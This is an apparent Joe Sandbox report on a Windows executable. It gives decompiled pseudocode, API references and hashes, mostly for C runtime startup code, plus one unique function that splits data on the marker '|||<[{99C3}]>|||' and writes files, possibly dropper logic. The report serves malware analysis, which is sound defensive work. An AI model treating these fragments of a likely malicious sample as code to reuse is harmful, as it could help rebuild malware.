Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: Pointer$Adjust_memmove$Decode_abort
String ID:
API String ID: 2548488491-0
Opcode ID: 3bf564383e6e42c2dceaa9a389dd87c07cfb139b13d8134a30e58f2216cc4623
Instruction ID: d39ed561a2c5ecafd1e0e632fe2ad22bea764719e623c39aedf8e9ebe6fe5f58
Opcode Fuzzy Hash: 3bf564383e6e42c2dceaa9a389dd87c07cfb139b13d8134a30e58f2216cc4623
Instruction Fuzzy Hash: 5C419735A087025AEB259F25D841F6B73B4AF40728F24403FE944A62D2EF3DF941D65E

Uniqueness

Uniqueness Score: 12.89%

Function 0041018F, Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

C-Code - Quality: 100%

			E0041018F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E00407F0D( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E0040CFF8( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00409F9B(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x00410197
0x0041019c
0x004101b6
0x00000000
0x004101b6
0x0041019e
0x004101a3
0x00000000
0x00000000
0x004101a8
0x004101c5
0x004101ca
0x004101cd
0x004101d4
0x004101f3
0x004101fa
0x004101fc
0x00410240
0x0041024f
0x0041025d
0x0041025f
0x0041026f
0x0041026f
0x00410273
0x00410275
0x00410278
0x00410278
0x00410278
0x00410278
0x00000000
0x0041027e
0x00410261
0x00410261
0x00410266
0x00410266
0x00410269
0x00000000
0x00410269
0x004101fe
0x00410201
0x00410205
0x0041022e
0x0041022e
0x00410231
0x00410231
0x00000000
0x00000000
0x00410233
0x00410237
0x00000000
0x00000000
0x00410239
0x00410239
0x00000000
0x00410239
0x00410207
0x0041020a
0x00000000
0x00000000
0x0041020e
0x00410221
0x00410227
0x0041022a
0x0041022c
0x00000000
0x00000000
0x00000000
0x0041022c
0x004101d6
0x004101d9
0x004101db
0x004101e0
0x004101e0
0x004101e5
0x00000000
0x004101e5
0x004101aa
0x004101af
0x004101b3
0x004101b3
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004101C5
__isleadbyte_l.LIBCMT ref: 004101F3

Part of subcall function 0040CFF8: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040D004

MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 00410221
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 00410257

Part of subcall function 00409F9B: __getptd_noexit.LIBCMT ref: 00409F9B

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: Locale$ByteCharMultiUpdateUpdate::_Wide$__getptd_noexit__isleadbyte_l
String ID:
API String ID: 3164516598-0
Opcode ID: 0be9f7fd2782ff9899679b715e6d146d645b2988ea34b7823365f5f266679b31
Instruction ID: c8c3e9dc6feeef448b6a9e953b8d766c48169b0550b17aeff3fd88b0f14d9d2f
Opcode Fuzzy Hash: 0be9f7fd2782ff9899679b715e6d146d645b2988ea34b7823365f5f266679b31
Instruction Fuzzy Hash: C331E030A04206AFDB218F65CC48AEB7BB5FF05310F15446AE824972A0D7B99CD0DB98

Uniqueness

Uniqueness Score: 2.48%

Function 00407FB6, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

C-Code - Quality: 100%

			E00407FB6(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00408507(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0040803C(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00408782(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E004086C1(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00407fb9
0x00407fbf
0x00408032
0x00000000
0x00407fc6
0x00407fc6
0x00407fc9
0x00407fe4
0x00407fe7
0x00408007
0x00408019
0x00407fe9
0x00407fe9
0x00407fec
0x00000000
0x00407fee
0x00408000
0x00408000
0x00407fec
0x00408037
0x0040803b
0x00407fcb
0x00407fe3
0x00407fe3
0x00407fc9

APIs

__cftof_l.LIBCMT ref: 00407FDA

Part of subcall function 004086C1: __fltout2.LIBCMT ref: 004086EA
Part of subcall function 004086C1: __fptostr.LIBCMT ref: 0040874C
Part of subcall function 004086C1: __cftof2_l.LIBCMT ref: 00408769

__cftog_l.LIBCMT ref: 00408000

Part of subcall function 00408782: __fltout2.LIBCMT ref: 004087AB
Part of subcall function 00408782: __fptostr.LIBCMT ref: 0040880C
Part of subcall function 00408782: __cftof2_l.LIBCMT ref: 0040884D
Part of subcall function 00408782: __cftoe2_l.LIBCMT ref: 00408868

__cftoa_l.LIBCMT ref: 00408019

Part of subcall function 0040803C: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040805C
Part of subcall function 0040803C: _mbstowcs_s.LIBCMT ref: 004080D3
Part of subcall function 0040803C: _strrchr.LIBCMT ref: 0040810E
Part of subcall function 0040803C: _memset.LIBCMT ref: 004082A5
Part of subcall function 0040803C: __alldvrm.LIBCMT ref: 00408320
Part of subcall function 0040803C: __alldvrm.LIBCMT ref: 00408343
Part of subcall function 0040803C: __alldvrm.LIBCMT ref: 00408366

__cftoe_l.LIBCMT ref: 00408032

Part of subcall function 00408507: __fltout2.LIBCMT ref: 00408534
Part of subcall function 00408507: __fptostr.LIBCMT ref: 0040859C
Part of subcall function 00408507: __cftoe2_l.LIBCMT ref: 004085BC

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: __alldvrm__fltout2__fptostr$Locale__cftoe2_l__cftof2_l$UpdateUpdate::___cftoa_l__cftoe_l__cftof_l__cftog_l_mbstowcs_s_memset_strrchr
String ID:
API String ID: 621885885-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: c5901fe0d780184f69ef6caa3942f7c8c4f74df66445b65e5749428f275b79ee
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 6901837240014EBBCF125E84CD01CEE3F66BB18384F59842AFE9864171C73BD975AB85

Uniqueness

Uniqueness Score: 3.53%

Analysis Process: 159753404015476.exe PID: 11832 Parent PID: 3260159753404015476.exeUNIQUE

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	70
Total number of Limit Nodes:	1

Executed Functions

Function 004098F6, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

C-Code - Quality: 100%

			E004098F6(_Unknown_base(*)()* _a4) {
				_Unknown_base(*)()* _t2;

				_t2 = SetUnhandledExceptionFilter(_a4); // executed
				return _t2;
			}

0x004098fc
0x00409903

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 004098FC

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c7d8d51d3c63eb3b9f966d1293038a01dd8e5cb732ecd6b8e336c7551d1b0ba7
Instruction ID: 8d8d4833a82e9e442eca59e99c7ce9d8dd664f5b295efcf24ca81663970145bb
Opcode Fuzzy Hash: c7d8d51d3c63eb3b9f966d1293038a01dd8e5cb732ecd6b8e336c7551d1b0ba7
Instruction Fuzzy Hash: 37A0123040010DA78B001B41EC054C43F1CD6041617008021F50C00430D72255904584

Uniqueness

Uniqueness Score: 0.01%

Function 004056A0, Relevance: 19.6, APIs: 13, Instructions: 89
UNIQUE

C-Code - Quality: 88%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				void* _t21;
				intOrPtr _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				signed int _t38;
				void* _t48;
				signed int _t51;
				void* _t53;
				void* _t55;

				_t49 = __edi;
				_t48 = __edx;
				E004093F3();
				_push(0x14);
				_push(0x416ab8);
				E00405F60(__ebx, __edi, __esi);
				_t51 = E004095DA() & 0x0000ffff;
				E004093A6(2);
				_t55 =  *0x400000 - 0x5a4d; // 0x5a4d
				if(_t55 == 0) {
					_t17 =  *0x40003c; // 0xe8
					__eflags =  *((intOrPtr*)(_t17 + 0x400000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0x400000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0x400018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0x400018)) != 0x10b) {
							goto L2;
						} else {
							_t38 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0x400074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0x400074)) > 0xe) {
								__eflags =  *(_t17 + 0x4000e8);
								_t6 =  *(_t17 + 0x4000e8) != 0;
								__eflags = _t6;
								_t38 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t38 = 0;
				}
				 *(_t53 - 0x1c) = _t38;
				_t18 = E00408BB3();
				_t56 = _t18;
				if(_t18 == 0) {
					E004057FA(0x1c);
				}
				_t19 = E00406E5D(_t38, _t49, _t56);
				_t57 = _t19;
				if(_t19 == 0) {
					_t19 = E004057FA(0x10);
				}
				E0040948F(_t19);
				 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
				_t21 = E00408BC8(_t38, _t49, _t51, _t57); // executed
				if(_t21 < 0) {
					E004057FA(0x1b);
				}
				 *0x42ca7c = GetCommandLineA(); // executed
				_t23 = E004094CF(_t48); // executed
				 *0x42abec = _t23;
				_t24 = E00408E7C();
				_t59 = _t24;
				if(_t24 < 0) {
					E00405B9E(_t38, _t48, _t49, _t51, _t59, 8);
				}
				_t25 = E004090AB(_t38, _t48, _t49, _t51);
				_t60 = _t25;
				if(_t25 < 0) {
					E00405B9E(_t38, _t48, _t49, _t51, _t60, 9);
				}
				_t26 = E00405BD8(1); // executed
				_t61 = _t26;
				if(_t26 != 0) {
					E00405B9E(_t38, _t48, _t49, _t51, _t61, _t26);
				}
				_t27 = E0040993D();
				_push(_t51);
				_push(_t27);
				_push(0);
				_push(0x400000);
				E004019BA();
				_t52 = _t27;
				 *((intOrPtr*)(_t53 - 0x24)) = _t27;
				if(_t38 == 0) {
					E00405E41(_t52);
				}
				E00405BC9();
				 *(_t53 - 4) = 0xfffffffe;
				return E00405FA5(_t52);
			}

0x004056a0
0x004056a0
0x004056a0
0x004056aa
0x004056ac
0x004056b1
0x004056bb
0x004056c0
0x004056cb
0x004056d2
0x004056d8
0x004056dd
0x004056e7
0x00000000
0x004056e9
0x004056ee
0x004056f5
0x00000000
0x004056f7
0x004056f7
0x004056f9
0x00405700
0x00405702
0x00405708
0x00405708
0x00405708
0x00405708
0x00405700
0x004056f5
0x004056d4
0x004056d4
0x004056d4
0x004056d4
0x0040570b
0x0040570e
0x00405713
0x00405715
0x00405719
0x0040571e
0x0040571f
0x00405724
0x00405726
0x0040572a
0x0040572f
0x00405730
0x00405735
0x00405739
0x00405740
0x00405744
0x00405749
0x00405750
0x00405755
0x0040575a
0x0040575f
0x00405764
0x00405766
0x0040576a
0x0040576f
0x00405770
0x00405775
0x00405777
0x0040577b
0x00405780
0x00405783
0x00405789
0x0040578b
0x0040578e
0x00405793
0x00405794
0x00405799
0x0040579a
0x0040579b
0x0040579d
0x004057a2
0x004057a7
0x004057a9
0x004057ae
0x004057b1
0x004057b1
0x004057b6
0x004057eb
0x004057f9

APIs

___security_init_cookie.LIBCMT ref: 004056A0

Part of subcall function 004093F3: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00409427
Part of subcall function 004093F3: GetCurrentThreadId.KERNEL32 ref: 00409436
Part of subcall function 004093F3: GetCurrentProcessId.KERNEL32 ref: 0040943F
Part of subcall function 004093F3: QueryPerformanceCounter.KERNEL32(?), ref: 0040944C

___crtGetShowWindowMode.LIBCMT ref: 004056B6

Part of subcall function 004095DA: GetStartupInfoW.KERNEL32(?), ref: 004095E4

Part of subcall function 00408BB3: GetProcessHeap.KERNEL32(00405713,00416AB8,00000014), ref: 00408BB3

_fast_error_exit.LIBCMT ref: 00405719

Part of subcall function 00406E5D: __init_pointers.LIBCMT ref: 00406E5D
Part of subcall function 00406E5D: __mtinitlocks.LIBCMT ref: 00406E62
Part of subcall function 00406E5D: __mtterm.LIBCMT ref: 00406E6B
Part of subcall function 00406E5D: __calloc_crt.LIBCMT ref: 00406E90
Part of subcall function 00406E5D: __initptd.LIBCMT ref: 00406EB2
Part of subcall function 00406E5D: GetCurrentThreadId.KERNEL32(00405724,00416AB8,00000014), ref: 00406EB9
Part of subcall function 00406E5D: __mtterm.LIBCMT ref: 00406ECA

_fast_error_exit.LIBCMT ref: 0040572A
__RTC_Initialize.LIBCMT ref: 00405730
__ioinit.LIBCMT ref: 00405739

Part of subcall function 00408BC8: __lock.LIBCMT ref: 00408BD6
Part of subcall function 00408BC8: __calloc_crt.LIBCMT ref: 00408BE7
Part of subcall function 00408BC8: @_EH4_CallFilterFunc@8.LIBCMT ref: 00408C02
Part of subcall function 00408BC8: GetStartupInfoW.KERNEL32(?,00416D08,00000064,0040573E,00416AB8,00000014), ref: 00408C5B
Part of subcall function 00408BC8: __calloc_crt.LIBCMT ref: 00408CA6
Part of subcall function 00408BC8: GetFileType.KERNEL32(00000001), ref: 00408CEF
Part of subcall function 00408BC8: GetStdHandle.KERNEL32(-000000F6), ref: 00408DE9
Part of subcall function 00408BC8: GetFileType.KERNEL32(00000000), ref: 00408DFC

_fast_error_exit.LIBCMT ref: 00405744

Part of subcall function 004057FA: __FF_MSGBANNER.LIBCMT ref: 00405806
Part of subcall function 004057FA: __NMSG_WRITE.LIBCMT ref: 0040580E

GetCommandLineA.KERNEL32(00416AB8,00000014), ref: 0040574A
___crtGetEnvironmentStringsA.LIBCMT ref: 00405755

Part of subcall function 004094CF: GetEnvironmentStringsW.KERNEL32(?,?,?,0040575A), ref: 004094D4
Part of subcall function 004094CF: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?,?,?,0040575A), ref: 00409508
Part of subcall function 004094CF: __malloc_crt.LIBCMT ref: 00409516
Part of subcall function 004094CF: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,00000000,00000000,?,?,?,?,0040575A), ref: 0040952E
Part of subcall function 004094CF: _free.LIBCMT ref: 00409539
Part of subcall function 004094CF: FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0040575A), ref: 00409542
Part of subcall function 004094CF: FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0040575A), ref: 0040954D

__setargv.LIBCMT ref: 0040575F

Part of subcall function 00408E7C: ___initmbctable.LIBCMT ref: 00408E8A
Part of subcall function 00408E7C: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user~1\AppData\Local\Temp\159753404015476.exe,00000104,?,?,00000000,?,?,?,00405764), ref: 00408EA6
Part of subcall function 00408E7C: _parse_cmdline.LIBCMT ref: 00408ECD
Part of subcall function 00408E7C: __malloc_crt.LIBCMT ref: 00408EF0
Part of subcall function 00408E7C: _parse_cmdline.LIBCMT ref: 00408F0A

__setenvp.LIBCMT ref: 00405770

Part of subcall function 004090AB: ___initmbctable.LIBCMT ref: 004090B4
Part of subcall function 004090AB: _strlen.LIBCMT ref: 004090D5
Part of subcall function 004090AB: __calloc_crt.LIBCMT ref: 004090EA
Part of subcall function 004090AB: _strlen.LIBCMT ref: 0040910A
Part of subcall function 004090AB: __calloc_crt.LIBCMT ref: 0040911B
Part of subcall function 004090AB: _free.LIBCMT ref: 00409148
Part of subcall function 004090AB: _free.LIBCMT ref: 0040916E
Part of subcall function 004090AB: __invoke_watson.LIBCMT ref: 00409186

__cinit.LIBCMT ref: 00405783

Part of subcall function 00405BD8: __IsNonwritableInCurrentImage.LIBCMT ref: 00405BE9
Part of subcall function 00405BD8: __initp_misc_cfltcvt_tab.LIBCMT ref: 00405BFD
Part of subcall function 00405BD8: __initterm_e.LIBCMT ref: 00405C0C
Part of subcall function 00405BD8: __IsNonwritableInCurrentImage.LIBCMT ref: 00405C42

__wincmdln.LIBCMT ref: 00405794

Part of subcall function 0040993D: ___initmbctable.LIBCMT ref: 00409949

Part of subcall function 004019BA: GetLocalTime.KERNEL32(?), ref: 00401D13
Part of subcall function 004019BA: GetLocalTime.KERNEL32(?), ref: 00401D25
Part of subcall function 004019BA: GetLocalTime.KERNEL32(?), ref: 00401D2F
Part of subcall function 004019BA: GetLocalTime.KERNEL32(?), ref: 00401D41

Part of subcall function 00405BC9: _doexit.LIBCMT ref: 00405BCF

Part of subcall function 00405E41: _doexit.LIBCMT ref: 00405E4B

Part of subcall function 00405B9E: __FF_MSGBANNER.LIBCMT ref: 00405BA1
Part of subcall function 00405B9E: __NMSG_WRITE.LIBCMT ref: 00405BA9

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: Time$Current__calloc_crt$EnvironmentFileLocalStrings$___initmbctable_fast_error_exit_free$ByteCharFreeImageInfoMultiNonwritableProcessStartupThreadTypeWide___crt__malloc_crt__mtterm_doexit_parse_cmdline_strlen$CallCommandCounterFilterFunc@8HandleHeapInitializeLineModeModuleNamePerformanceQueryShowSystemWindow___security_init_cookie__cinit__init_pointers__initp_misc_cfltcvt_tab__initptd__initterm_e__invoke_watson__ioinit__lock__mtinitlocks__setargv__setenvp__wincmdln
String ID:
API String ID: 4146296232-0
Opcode ID: ea179daa7fbcb2c0137ca81c7b288353ef772cc0b5df4101f82a21a24dbae630
Instruction ID: 6e3d350c2ec0952a85bbba028f94384b8856f1298f41b78b481709ae80efb392
Opcode Fuzzy Hash: ea179daa7fbcb2c0137ca81c7b288353ef772cc0b5df4101f82a21a24dbae630
Instruction Fuzzy Hash: 55219660640B14DAEA20B7B29986B6F3254DF1070DF50447FF509BB1C3DEBC9841AE5D

Uniqueness

Uniqueness Score: 100.00%

Function 00404347, Relevance: 3.0, APIs: 2, Instructions: 21
COMMON

C-Code - Quality: 37%

			E00404347() {
				signed int* _t1;
				void* _t3;
				signed int* _t6;

				_t1 = E00405E86(0x20, 4);
				_t6 = _t1;
				__imp__EncodePointer(_t6); // executed
				 *0x42ca70 = _t1;
				 *0x42ca6c = _t1;
				if(_t6 != 0) {
					 *_t6 =  *_t6 & 0x00000000;
					return 0;
				} else {
					_t3 = 0x18;
					return _t3;
				}
			}

0x0040434c
0x00404353
0x00404356
0x0040435c
0x00404361
0x00404368
0x0040436f
0x00404375
0x0040436a
0x0040436c
0x0040436e
0x0040436e

APIs

__calloc_crt.LIBCMT ref: 0040434C

Part of subcall function 00405E86: __calloc_impl.LIBCMT ref: 00405E95

RtlEncodePointer.NTDLL(00000000), ref: 00404356

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: EncodePointer__calloc_crt__calloc_impl
String ID:
API String ID: 1313826993-0
Opcode ID: 42897813688b8a5cda1c518dd495c7a0fb30345845ab43112de5ed4224f985f4
Instruction ID: fab5657c3a9f5bea70a8e2cbc09ec71350b314b131f5932256a963655a5440f2
Opcode Fuzzy Hash: 42897813688b8a5cda1c518dd495c7a0fb30345845ab43112de5ed4224f985f4
Instruction Fuzzy Hash: 9DD0C232A88A204EE3B09B24780679A2AC0E704730F11402BEA00D52D0EA3008428AC8

Uniqueness

Uniqueness Score: 6.12%

Function 004095FD, Relevance: 3.0, APIs: 2, Instructions: 18
COMMON

C-Code - Quality: 37%

			E004095FD(struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _t6;
				signed int _t7;
				void* _t11;

				_t6 =  *0x42c9f0; // 0x8e3fbd3f
				_t7 = _t6 ^  *0x429830;
				if(_t7 == 0) {
					InitializeCriticalSectionAndSpinCount(_a4, _a8);
					return 1;
				} else {
					_t11 =  *_t7(_a4, _a8, _a12); // executed
					return _t11;
				}
			}

0x00409600
0x00409605
0x0040960b
0x00409620
0x0040962a
0x0040960d
0x00409616
0x00409619
0x00409619

APIs

InitializeCriticalSectionEx.KERNELBASE(?,?,?,?,0040A0D5,00429B80,00000FA0,00000000,?,?,00406E67,00405724,00416AB8,00000014), ref: 00409616
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,0040A0D5,00429B80,00000FA0,00000000,?,?,00406E67,00405724,00416AB8,00000014), ref: 00409620

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID:
API String ID: 4156364057-0
Opcode ID: 05e4c3f4cd3f8a3228450cd8634c3028a962568b1ec512b81169390c9107bebb
Instruction ID: 2e5f8c747b9053ee6cd5b81b47516a9c9343051dfc140f5a2991c682ea471a09
Opcode Fuzzy Hash: 05e4c3f4cd3f8a3228450cd8634c3028a962568b1ec512b81169390c9107bebb
Instruction Fuzzy Hash: 3AD01732120109FFCF02AFD4EC01C993BAAFB48315B44C420F91C89430C332A961EB88

Uniqueness

Uniqueness Score: 0.31%

Function 004094E0, Relevance: 2.6, Strings: 2, Instructions: 109
UNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E004094E0(char __eax, void* __ebx, char __edx, void* __esi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				void* _t75;
				void* _t79;
				signed int _t92;
				void* _t99;
				intOrPtr _t102;
				intOrPtr _t105;
				void* _t118;
				void* _t119;
				intOrPtr _t122;
				void* _t123;

				_t123 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00403980(_v12);
				_push(_t122);
				_push(0x409629);
				_push( *[fs:eax]);
				 *[fs:eax] = _t122;
				E00407A18("|||<[{99C3}]>|||",  &_v16, _v12, _t123);
				_t118 = E00404648(_v16) - 1;
				if(_t118 >= 0) {
					_t119 = _t118 + 1;
					_t92 = 0;
					do {
						E004039F0( *((intOrPtr*)(_v16 + _t92 * 4)), E00403AD4(E0040965C,  *((intOrPtr*)(_v16 + _t92 * 4))) - 1, 1,  &_v20);
						_push( &_v24);
						_push(E00403AD4(E0040965C,  *((intOrPtr*)(_v16 + _t92 * 4))));
						_t75 = E00403790( *((intOrPtr*)(_v16 + _t92 * 4)));
						_push(_t75 - _t109);
						_t79 = E00403AD4(E0040965C,  *((intOrPtr*)(_v16 + _t92 * 4)));
						_pop(_t99);
						E004039F0( *((intOrPtr*)(_v16 + _t92 * 4)), _t99, _t79 + 1);
						if(E00403790(_v24) - 1 > 0) {
							_push(_v8);
							_push(E00409664);
							E00403D88( &_v32, _v20);
							_push(_v32);
							E00403E78();
							E00407360(_v28, _t92, _v24);
						}
						_t92 = _t92 + 1;
						_t119 = _t119 - 1;
					} while (_t119 != 0);
				}
				_pop(_t102);
				 *[fs:eax] = _t102;
				_push(E00409630);
				E00403BF4( &_v32, 2);
				E00403508( &_v24, 2);
				_t105 =  *0x405f50; // 0x405f54, executed
				E00404810( &_v16, _t105); // executed
				E004034E4( &_v12);
				return E00403BDC( &_v8);
			}

0x004094e0
0x004094e5
0x004094e6
0x004094e7
0x004094e8
0x004094e9
0x004094ea
0x004094eb
0x004094ee
0x004094f1
0x004094f7
0x004094ff
0x00409506
0x00409507
0x0040950c
0x0040950f
0x0040951d
0x0040952c
0x0040952f
0x00409535
0x00409536
0x00409538
0x0040955a
0x00409562
0x00409573
0x0040957a
0x00409582
0x0040958e
0x0040959c
0x0040959d
0x004095ab
0x004095ad
0x004095b0
0x004095bb
0x004095c0
0x004095cb
0x004095d6
0x004095d6
0x004095db
0x004095dc
0x004095dc
0x00409538
0x004095e5
0x004095e8
0x004095eb
0x004095f8
0x00409605
0x0040960d
0x00409613
0x0040961b
0x00409628

Strings

T_@, xrefs: 0040960D
|||<[{99C3}]>|||, xrefs: 00409518

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465FileWrite
String ID: T_@$|||<[{99C3}]>|||
